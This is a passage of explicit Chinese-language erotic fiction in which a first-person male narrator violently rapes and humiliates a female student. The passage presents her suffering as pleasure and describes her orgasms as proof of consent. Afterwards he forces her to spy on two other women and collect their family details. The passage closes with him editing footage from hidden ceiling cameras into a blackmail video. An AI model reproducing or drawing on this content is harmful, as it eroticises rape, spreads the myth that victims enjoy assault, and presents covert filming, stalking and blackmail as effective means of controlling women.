我丝毫也不怜香惜玉,将食中二指全部插入了她的小穴,更加粗野的边抠边捅,还吓唬道:「妈的,哥想怎么玩不用你教!」

说着牙齿用力叼起了她一个圆润的樱桃珠。

赵欣蕊再不敢说话,只有两眼含泪咬牙忍着。而我的魔手越来越猖狂,速度至少达到了每秒钟两下,随之而来的是赵欣蕊的哭叫和小穴中流淌出来的滴滴淫水。我还觉得不过瘾,突然猛的抬起了她放在床上的那条腿,将它扛在肩上。赵欣蕊胯下扯得生痛,「啊」的一声那条支撑身体的腿不由自主的离开了地面,整个人倒向墙角,两手自然扶住墙壁免得撞到头:「大……大哥,我和你无仇无怨的,你想做爱我依你,别再折磨人家了!」

我用拇指试探的按压她的菊花蕾,随之越按越大力继而将半个拇指伸了进去。

赵欣蕊从未被人这样猥亵过后庭,一种莫名的屈辱和揪心的疼痛瞬间侵袭到脑海里:「求你……求你不要戳那里……好疼……啊——」

哪知她越求饶我戳的越狠快,而且人的潜意识是这样的,很难两手不同节奏去做不同的事,所以抽插她肛门的右手渐渐跟上了玩弄阴道的左手的频率。

由于角度比刚才更开阖,我玩弄得也更猛烈,很快赵欣蕊的嫩穴中便流出了大量的粘液,顺着她的大腿内侧流到了膝盖上。我看到之后甚有满足感:「果然够贱,这么快就高潮了,嗯,好骚的味道,你闻闻!」

说着将沾着无数淫汁粘糊糊的左手放到了她的鼻子旁边。

赵欣蕊闻到一股刺鼻的腥味刚想躲开,突然又看到我面有怒色,竟是没敢。

我得寸进尺淫笑的望着她命令道:「舔干净,舔呐!」

这样大声的一呵斥,赵欣蕊身体剧震了一下,面带哭相委屈的伸出了一点香舌,却迟迟不肯凑过去。我耐心有限索性将手里的粘液抹到了她的舌上嘴角,赵欣蕊恶心的几乎想吐,却竟是不敢丝毫躲闪或者收回舌头。

「嗯对了,好就这样,你伸舌头的样子真骚,真欠肏,自己的骚水好吃吗?」

我一边宁笑着望着她,一边用言语猥亵。

赵欣蕊嘴角抽动了两下心想,反正已经这样了,看来这次身体的蹂躏是躲不过去了,倒不如顺从一点主动一点,可能还会受到些许的礼遇。于是说道:「求你了,哥……哥哥,人家受不了了……疼……疼疼人家吧?」

身为一个仪表出众的靓丽女孩,即便是出来卖过却也保留着一份矜持,第一次说出这种话装的确实不太像,而且表情配合的也不到位,她能想到的女孩子家主动求欢的言语恐怕只有这些了。

我其实也有些难以忍耐了,虽然知道这尤物现在浪语连连不过是权宜之计,想要速战速决好早脱苦海,但还是忍不住下身一紧:「好啊,给你哥脱裤子!」

赵欣蕊硬着头皮乖乖蹲下身去解开了我的皮带,一件一件往下脱着。待只剩一条内裤的时候我说道:「嗯,用嘴脱最后一件,手背到后面去!」

看着高高支起的帐篷顶端阴湿的一小片和那小腹上少许的黑毛,赵欣蕊一皱眉,屏住了呼吸用嘴叼住我的内裤一角往下拉扯。但我的肉棒挺得太高,从旁边拉被龟头挂住了硬是拉不下来,只好闭着眼睛咬住前面中间的内裤边缘往下拉。

我顺势小腹一收肉棒竖直,使她顺利的将自己的内裤拉到了腿根。

一条内裤脱了半分钟,赵欣蕊正憋得张口喘气时,突然觉得一根硬硬的滚烫的带着粘液的东西轻轻拍到了脸上。她当然清楚是什么,恶心的直想吐,立刻要用手挡开。哪知道我突然捏住了她的鼻子,竟把阴茎往她嘴里送来,这时她再想闭嘴为时已晚,这根粘糊糊的东西就这样直插进了喉咙。

赵欣蕊骤遭此变「呜呜」连声,惊恐之下牙齿和舌头死命的往外排挤,弄得我生疼。气愤之下我一手按住她的额头一手掐住她的下巴,下身用力将她整个人顶到了墙根。赵欣蕊再无可退,被我压在墙上强行进行着口交,过了一会任命的不再抗逆。

我还不满足,一个耳光轻轻拍打过去叫道:「把牙张开些,碰疼老子了!」

过了一会又一个耳光打过去:「用舌头缠绕起来,不然要你的口条有什么用,干脆割掉算了!」

就这样赵欣蕊含着眼泪被我胁迫着强行吹箫,口中「呼呼」的发出痛苦的低吟。而我见她顺从,干脆放脱了双手,撑着腰向她口中挺送,嘴里还不住的污言秽语:「妈的真爽,日你嘴,我日你嘴!」

说着拉过她乌黑亮泽的长辫子,在阴茎和她秀唇之间不住摩擦,沾粘了好多口水和淫液。

看着这样一个俏佳人给自己口交,胸口的一对辣乳随着吞吐不住晃动,嘴角还淋漓出少许唾液,几分钟之后我就觉得亢奋莫名。为了避免这么快交代,适时的将肉棒抽了出来:「来小骚货,舔我蛋蛋,快!」

说着用手拢住自己的肉棒抬高胯部,将睾丸凑了过去。赵欣蕊别无选择,伸出香舌在我两个精巢上游走。我则趁此机会老二不停地在她小脸上怕打,那样子污秽不堪以极。

等享受的差不多了,我拖着赵欣蕊的两边腋下让她站直起来说道:「可以了,让我来比较一下你上面的嘴和下面的嘴哪个日起来更舒坦吧!」

赵欣蕊还来不及喘一口气,已随即被我推的撅在墙角的地板上。

「是时候进入正题了,欣蕊妹妹。」

说着我屏住一口气将炽热的阴茎插入她那早已泄洪而湿透的秘穴之内。火热的龟头粗暴地挤开了她早就开阖的蜜唇,狠狠的直插入她的阴道深处。赵欣蕊的阴道经过长时间的玩弄早已润滑湿腻而又不失紧绷,令我的肉茎更加急速膨胀,头脑中的快感也随之膨胀:「真紧啊,这样的骚屄给李子强一个人肏太可惜了……爽……爽……肏……」

从未感受过的痛楚令赵欣蕊发出了与她清秀脱俗外表不相合的惨叫声:「哦……天哪……啊……」

被男人粗暴的进入令她只能用仅余的力气抓紧眼前的地板,承受着正施行在她身上那最原始的暴行。

我留意到她的蜜唇流出了一丝的血迹,同时体会到阴道内的挤压,经验也算丰富的我马上已知道是什么回事,问道:「骚欣欣,以前没被这么劲暴的鸡巴肏过吧?」

痛极的赵欣蕊只能点一下头算是回答。我满意地揉弄着她的乳房,同时淫笑道:「比被开苞还疼吧!」

赵欣蕊又无力的点了一点头:「好疼……轻……轻点……已经裂开了!」

赵欣蕊少女的膣壁果然不同凡响,我抓紧了她的纤腰,猛烈地抽插着那紧窄的阴道,体会着内里那像要咬断阴茎的挤压,与那火热湿润的包容,同时品尝着痛苦的呻吟。在猛烈的抽插中我突然改变了姿势,硬生生将赵欣蕊的柳腰拉起,坐在床边改成坐位的抽插法,同时双手用力地分开了她的大腿,令私处彻底暴露在前面。

这个体位使我的龟头能更深的顶入她的体内,才抽送得数下已撞上了她柔软的子宫,彻底开发了那紧窄不亚于处女的阴道。赵欣蕊的身体亦开始生出了性交的快感,由於爱液的滋润,令抽插变得加倍顺畅。我用力地将她的身躯上下抛弄,感受着子宫在我的龟头粗暴的撞击下变形,仍重覆着一下又一下的撞着她的花心,感觉到她的阴道内开始生出了不正常的收缩,知道她马上便要抵达第二次高潮。

我更加抽送着的阴茎,继而用两根手指玩弄着她的阴蒂,果然赵欣蕊马上已发出抗议般的呻吟,不过我却毫不理会,只维持着两根手指的高速的拨弄。

赵欣蕊的阴道内壁仍旧紧密地吸啜着我的龟头,而上面早已被她的蜜汁弄得湿亮。我将她的身体按到床上,再一次将她摆弄成后背位,然后来一下猛烈的插入。赵欣蕊显然仍未回过神:「你的太大了……我会死的……求求你不要……啊——」

我兴奋的低吼:「老子就是要你死……骚货……叫呀……看老子怎么干死你!」

在我的叫声和赵欣蕊的哀求声中,我把自己的肉棒缓缓全部抽出然后又猛地全根插入。赵欣蕊只觉得阴道口一阵胀裂似的疼痛,忍不住尖叫起来:「啊……好疼……不要……这么猛……」

边叫还边猛蹬双腿,屁股左右乱扭,想摆脱我硕大阳具的侵犯。可这反而让我兴奋异常,低头看着自己的肉棒死命将剩下的少许插进去了。

我满足的开始前后的活塞运动,一边「小婊子……老子肏烂你……噢!」

的叫,一边低头看自己的肉棒在奸淫的这个性感的女孩。我的阳具使用并不是很频繁,颜色还很嫩,但重在够粗够硬够长,把个赵欣蕊少经人事的阴道口胀的大大的,被迫紧紧套在我青筋暴露的肉茎上。每一次阳具的插入,都带着大小阴唇向里没入,每一次阳具的抽出,又带着大小阴唇向外翻开,还从里面带出一股股白色的粘液。

过了许久我将她翻了过来从上面紧紧压在她曲线玲珑的裸体上,就像在做俯卧撑一样,把巨根直上直下的在她下体里来回抽戳。

赵欣蕊不断的哀叫着:「求……求求你……饶了我……啊——」

一次过于凶狠的插入直顶到子宫,令她疼痛之下长声惨叫。

我却不依不饶的冲刺,一边用全身重量狠戳,一边吼叫:「说……是哥肏的你爽,还是李子强那孙子……嗯……肏的你爽……说!」

「是……是哥哥……嗯……肏……肏的爽,我……我不行了!」

赵欣蕊无奈之下只能如此回答,但她阴户里频频被挤出流淌在洁白大腿内侧的淫液却告诉我她所说的未必全是虚言。

不多时我突然感到赵欣蕊的阴道壁一阵痉挛,紧紧夹住了我的肉茎,好像一张温暖小嘴不停的吮吸龟头。我低头一看,只见她眉头紧皱,全身绷紧,突然一股暖流从身下这个女孩的阴道口里涌出,一股股的白浆顺着阴唇的缝流到屁股上、床单上、地上。随即赵欣蕊浑身软的像失去了骨架,瘫在旁边床上一动不动了,只剩下轻轻的喘息和呻吟。

我俯下身去分开她的双腿,继续插入猛烈地撞击着她的花心,同时欣赏着那夹杂着悔恨、羞耻与疲惫不堪的表情,不断用硕大的龟头奸淫着她火热的子宫,重覆着一次又一次的摧残着身下无比撩人的绝佳淫娃。

说她淫娃确实实至名归,旨在少有哪个女孩甚至是虎狼之年的女人会在被强奸时连连达到高潮这么多次。即便是她被我挟持而屈意迎合,但那只限于行为语言,身体的反应却是最能说明问题的。

但她毕竟不比身体强壮的我,经过这长达一个多小时的折腾,已经筋疲力尽简直达到崩溃边缘:「啊……唔……哎哟……我求求你了,不要再插了……天哪……我快不行了!」

我一边丝毫没有减缓的插弄一边淫笑着说道:「你是婊子嘛,就算被我插的爬不起来,也算工伤!」

接着又低吼道:「说,还做不做婊子了,还贱不贱了?」

「我……我……我再也不干了,求你放了我吧!」

悔恨的泪水从赵欣蕊俏丽的脸庞上缓缓流了下来。

我又连续抽插了不下一刻钟,终于达到了兴奋的顶点:「嗯……舒服,要射了……来吧……让老子射死你吧!」

迷离中赵欣蕊被我的叫喊唤醒了残存的一点意识,立刻鼓起最后的勇气哀号道:「别……不要……把精液……射……射……到我……里……面……啊!」

话还没说完,只觉得一股滚烫的粘液直喷进了自己的阴道深处。

我慢慢站起身来拿过她的内裤和白裙擦拭着自己肉棒上的残留淫液。然后将满是污秽的衣物丢到了赵欣蕊的身上。

赵欣蕊瘫软在床上几次想扶着坐起而未可得。她大岔双腿仍不断溢出精液的开阖阴户和雪白赤裸而又满是污垢的胴体完全呈现在我面前,使我畅快淋漓,甚至刚刚垂下去的阴茎又有复苏的迹象。

为了达到根本目的,我尽力的克制了再次奸淫她的冲动。其实我今天找她来最主要的目的是巩固我对她的控制。要知道,上次凑巧碰到她,事起仓促我毫无准备,虽然利用狡计令她就范,可是这恐怕不会持续太久。而且赵欣蕊虽然卑贱,但性格刚强且不失聪慧,这样的人无论男女都不是好征服的,必须从精神和肉体同时摧垮她,不然等她找到机会恐怕还会对我不利。当然这只是我个人防患未然的保守想法。为了达到这个目的,我决定残暴的奸淫她,把柄被我握住又摄于我的淫威,才能牢牢把握住她。

美轮美奂的春宫图欣赏了良久,我从旁边的抽屉里取出面巾纸扔到她身旁,坐到她身边点起香烟说道:「小屄,我们该谈点正经事了,说说吧,这几天你都搜集到什么和姜珊有关的情报了?」

赵欣蕊吃力的撑起身子侧身背对我坐着,抻出一些纸擦拭着脸上、身上和穴口的污浊,又慢慢穿起了早被弄得脏兮兮的衣裙,半天才答道:「我……我也没探听的到什么……」

「什么?」

我低沉的喝了一声:「你这几天都干吗了?」

被我这么一喝,赵欣蕊身子向外缩了一缩,双腿蜷起手臂挡在身前,似乎是怕我出手打她,看到我并没有动粗才道:「这几天我有意的和她接近,可是她生活很单调的,每天除了上课、自习、吃饭、睡觉根本没什么业余活动,我……我已经尽力了!」

说到最后眼角一个劲的向我撇来,样子实在楚楚可怜。

其实我也知道姜珊不是这么轻易被我抓住破绽的人,赵欣蕊以前又没干过这类事情,而且她终究不是我,没有独特观察的视角和触类旁通的思维模式,短短数天不可能有什么重要收获。但听她这么说还是心有不甘,续问道:「那她的家庭情况、经济情况和一些简单的社会关系你总该弄到一些吧?别告诉我这些你也一无所知?」

刚才我蹂躏她时是一副凶神恶煞般的残暴模样,而现在虽然没什么肢体语言表情却十分的冷傲,面无表情的脸上看不到一丝人情味。这两种态度都对她产生了巨大的威慑,她声音已经开始颤抖了:「这这这,这我倒是知知道一些……」

说着又向远离我的方向蹭了蹭才转过身面对我说:「她家住在二宫富民路那,父亲在一个汽车维修厂当车间主任,母亲是南开二附属的中学老师,家里还有个八十多岁的姥姥,生活条件一般却还过得去。她她……她是我们学校助学委员会的成员,有时候参加些学校组织的资助贫困学生的活动。」

我一直不苟言笑的看着她说话,直到她说到这里停了下来也望向我。

「完了?」

我冷冷的问。

「完……完了。」

赵欣蕊怯懦的低下头,她知道我对她的表现很不满意,可是以前把谁也不放在眼里的她这几天不动声色的打探,又生怕引起别人的注意,这样已经很难得了。

其实我也知道,但还是严厉的说:「整整三天你就打听到这么点鸡毛蒜皮的消息,看来你把我的话当耳边风了……」

说着凑到她身旁,右手揪住她的耳朵拽了拽:「要不要我用点手段叫你多认真一点啊!」

当然我旨在恐吓,手上根本没用什么力气。

可是身心俱碎的赵欣蕊却已经是惊弓之鸟,被我这么一吓几乎哭了出来,马上求饶:「等等等等,你要我再好好想想……」

听她这么说我就松开了抓住她耳朵的手,谁知几秒钟之后赵欣蕊苦着脸看着我带着哭腔的续说:「实……实在想不起来了!」

「我操,你耍我!」

我一气之下将她按在床上掀开裙子扬起手,作势要打她的屁股。

「别别……求求你……我……我说……说别的……别人的可以吗?」

赵欣蕊双手捂着被我撩起裙子的臀部哀求。

「别……」

我刚想再次发作,但转念一想也许她说的可能有点用处,再说左右没有损失,不妨听一听:「行……」

看她脱离我的威胁立刻躲到床里缩成一团的样子,我又哼了一声:「不过你可别拿废话搪塞我,而且最重要的是绝对不能瞎编。哼哼,你知道后果!」

「嗯嗯」赵欣蕊一个劲的点头:「这事我也是听姜珊说的。我们同室有个叫陈静的,她最近家里好像出了什么事,找了好几个朋友借钱,而且还不是三百两百的小数目,也不知道为了什么。」

「噢——」

我想了想。这个叫陈静的女孩我也认识,也是那次联谊会上见的。

她的姿色绝不在赵欣蕊之下,而且更加带着一种高贵的气质。和赵欣蕊活泼的性格不同,陈静不太爱说话,逢人总是浅浅的笑笑,可是却总给人一种高雅大方的感觉。

当下我追问道:「那……那她跟你张嘴借钱了没有啊?」

「没有……」

赵欣蕊脸上突然生出一种鄙夷的神情:「哼!她就算开口我也不会借的,那妮子拽得很,我最看不上了!」

随即看着我继续说道:「这个陈静老实说还真是个美人胚子,人长得漂亮还特别文静。可是你别看她表面上一本正经的,其实骨子里骚得很,最会勾引男人……」

和这个女孩打交道我一直加着十二分的小心,听她这么说立刻明白了她的意图。经过两次的接触赵欣蕊肯定已经隐约猜到了我的企图,而她想把我的注意力引向陈静很可能出于两个目的。其一她确实没得到多少关于姜珊的信息,怕我责罚所以抬出陈静做挡箭牌。其二她猜测被我盯上的女孩子可能会有什么不好的事情发生,基于某种原因她憎恨陈静,故此希望借我的手好好整治一下她。

我看女人一向很准,陈静我是见过的确实很漂亮,却并不像她说的那样骚媚。

看来她们的矛盾很可能是因为男人而产生的,多半就是因为李子强。以陈静的性格可能不会对李子强采取什么主动,应该是这个花心大少曾经表示过对陈静的好感,而这已经足以令嫉妒心极强的赵欣蕊怀恨在心了。

同时我更对赵欣蕊这个女人生出一丝戒备,这人很会借刀杀人。在她的描述里陈静是个外表美丽文雅内在放荡风骚的女孩,虽然这可能掺杂了赵欣蕊的主观臆断,但她想勾起我这个色魔对陈静的野心这一点却是再明白不过的了。换做旁人,短短一两句话便可能被她挑动,做出令她暗自称快的事来。虽然现在赵欣蕊可以说已经牢牢攥在了我的手心里,但如果有朝一日她有了机会,恐怕真的会对我做出什么不利的事情。

不过好在那是以后的事,而现在我确实对陈静也有欲望。姜珊似乎是遥不可及的璀璨明珠,在得到她之前也许我能先用陈静缓解一下心中的罪恶和欲望的火焰。

想到这里我不禁似笑非笑的望向赵欣蕊,鼻子里轻蔑的哼了一声。赵欣蕊心里有鬼,而我的表现已经使她看出我已完全洞悉了她的卑劣企图,当下做贼心虚的问道:「你……你笑什么?」

我也不理她的问话,慢慢穿起裤子,然后从抽屉拿出一打钱扔在赵欣蕊身上:「拿去吧,我玩你不能白玩……」

看着她胆战心惊的望着我旋即快速把钱收了起来的无耻样子我又说道:「姜珊你要继续盯着,陈静也得留意,最好能弄清她为什么需要钱、需要多少、什么时候要,懂了吗?」

赵欣蕊收好钱站起来,听我这么说面现难色:「这……这恐怕不太容易吧,她不大和我说话的……」

我把嘴凑到她耳朵旁边小声嘀咕了一阵,然后站直身子自信的问道:「明白了么,知道怎么做吗?」

「哦!」

赵欣蕊也是会心一笑,然后拎着包走了。

等她走后,我打开柜子里藏的笔记本电脑操作了起来,那上面有三个DV画面,从内容上看是从三个不同角度拍摄的同一个场景。我编排着剪辑着,半小时之后形成了一个完整的小电影。一个男人在凶猛的奸淫一个年轻女孩,高潮中那个女孩淫声浪语不断,狂喊着宣泄激情,甚至大叫这个奸淫自己的男人说他的性能力大大超过了自己的男朋友李子强,最后男人丢给了女孩一打钱,说明是这次的嫖资。不用问那个女孩就是赵欣蕊,而男主角自然是我。这是我利用安装在天花板吊顶隐秘处的三台针孔摄像机所拍摄的。

剪辑之后我把短片刻录到光盘上,又复制了多份。听着刻录光驱『吱吱』的轻响,看着数据进程的蓝色条码向前缓缓的推进,我的嘴角绽出了一丝窃笑。